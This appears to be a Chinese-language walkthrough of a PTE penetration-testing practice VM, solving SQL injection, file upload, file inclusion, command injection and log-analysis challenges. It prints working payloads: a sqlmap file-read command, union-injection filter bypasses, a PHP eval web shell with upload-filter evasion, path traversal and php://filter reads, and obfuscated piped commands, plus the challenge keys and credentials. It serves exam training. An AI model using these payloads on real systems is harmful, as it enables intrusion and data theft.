环境搭建
pte靶机下载(阿里云盘):
https://www.aliyundrive.com/s/L2WFbxSenWK
下载后打开centos文件夹下的.vmx文件即可运行虚拟机
登录靶机root/admin123
先把网络调通,让虚拟机与物理机为同一网段
查看ip地址,这里用ifconfig查看的话回显太长看不到,可以用ip addr来查看
虚拟机我配置的是NAT模式,网段为.74 修改ip地址为.74网段地址,上图为修改后的,主要修改ip地址,掩码,网关
ip addr
vi /etc/sysconfig/network-scripts/ifcfg-eth0
SQL注入
reboot重启后,通过访问不同的端口来切换题目,端口范围81-85 访问虚拟机的81端口,进入答题即可
http://192.168.74.135:81
id=1时页面有回显的内容,id=2时页面无回显,判断存在注入点
http://192.168.74.135:81/vulnerabilities/fu1.php?id=1
http://192.168.74.135:81/vulnerabilities/fu1.php?id=2
SQLMap
可以直接用sqlmap跑,这里空格被过滤了,提示需要加--tamper=space2comment参数(使用/**/替换空格符) 首页已经告诉我们key文件路径/tmp/360/key,构造语句如下
python sqlmap.py -u "http://192.168.74.135:81/vulnerabilities/fu1.php?id=1" --risk=3 --tamper=space2comment --file-read /tmp/360/key
根据图中提示,打开文件保存的路径,查看文件,获取到key
key:8b3h4a7v
手工注入
先order by猜解列数,靶机这里对空格单引号和井号做了过滤
空格使用注释符/**/代替,单引号使用%27代替,井号使用%23代替
有的编码工具可能无法对单引号等特殊字符进行url编码
可以尝试这个网站 https://evilcos.me/lab/xssor/
空白处输入内容后,点击右侧escape即可
输入order by等于5时页面显示为空白,小于5时页面显示正常,判断列数为4
?id=1%27)/**/order/**/by/**/4%23
然后配合上union语句查询数据,发现union被过滤了,可以通过双写来绕过 order by等于4,可以将想要查询的函数替换掉数字
?id=-1%27)/**/ununionion/**/select/**/1,2,3,4
通过load_file函数来读取文件,文件路径首页已经告诉我们了 这里id改为-1是为了让服务端返回union select的查询结果,因为数据库没有-1列,所以会返回select的结果
?id=-1%27)/**/ununionion/**/select/**/1,2,3,load_file(%27/tmp/360/key%27)%23
文件上传
访问靶机82端口
进入答题,先写个一句话,命名为1.php
<?php @eval($_POST['cmd']);?>
然后浏览选择1.php文件,burp开启抓包,点击上传
发现抓到的包不太对,不应该是get请求,这里需要在抓包处点击forward(有几率出现)
获得到post请求,这样包才是我们需要的
ctrl+r发送到repeater,返回的内容里没啥东西,应该过滤掉了
经过测试,发现php好像被过滤了,之前大写绕过(phP)也显示上传成功,但是蚁剑连不上,后缀名可换成php3
同时需要结合修改content-type头(image/gif)和文件内容头校验(GIF89a)即可绕过
然后蚁剑连接
在html目录下找到key文件
文件包含
访问靶机83端口
进入答题,试下最基础的payload,可以访问密码文件
/vulnerabilities/fu1.php?file=../../../../etc/passwd
题目已经告诉我们key.php在根目录下了,直接尝试读取,发现不显示内容
/vulnerabilities/fu1.php?file=../key.php
通过php伪协议读取文件
php://filter/read=convert.base64-encode/resource=../key.php
将返回的内容进行base64解码,获取到key
命令执行
访问靶机84端口
进入答题,可以输入内容进行测试
构造语句,发现cat被过滤了,提示有敏感字符 可以尝试对cat进行变形,或者通过其他命令来查看
127.0.0.1 | cat
测试后发现以下命令都可绕过(包括但不仅限于此)
127.0.0.1 | ca\t ../key.php
127.0.0.1 | ca${Z}t ../key.php
127.0.0.1 | head ../key.php
127.0.0.1 | tail ../key.php
127.0.0.1 | less ../key.php
但是页面显示不完整,通过检查或者查看源代码来查看完整的内容
日志分析
访问靶机85端口
进入答题,即可查看日志文件,也可以右键保存到本地查看
题目说可疑ip为172.16.12.12,搜索下日志中该ip的内容
发现内容挺多的,像是大量的扫描,需要筛选ip为172.16.12.12且响应状态码为200的数据
推荐一块比较好用的linux日志分析工具klogg
官网:https://klogg.filimonov.dev/
github:https://github.com/variar/klogg
先筛选出ip为172.16.12.12的内容,再从筛选后的结果里搜索200的内容,操作很方便
发现访问了adminlogin.php页面,可能是后台路径
访问后台路径,需要账号登录,用burp爆破下账号密码
由于账号密码都不知道,爆破类型选cluster bomb
两个值未知爆破起来时间太长了,看了下别人写的,账号密码是admin/password123,直接自己写个简单的字典去跑
跑出来账号密码为admin/password123
登录成功后拿到key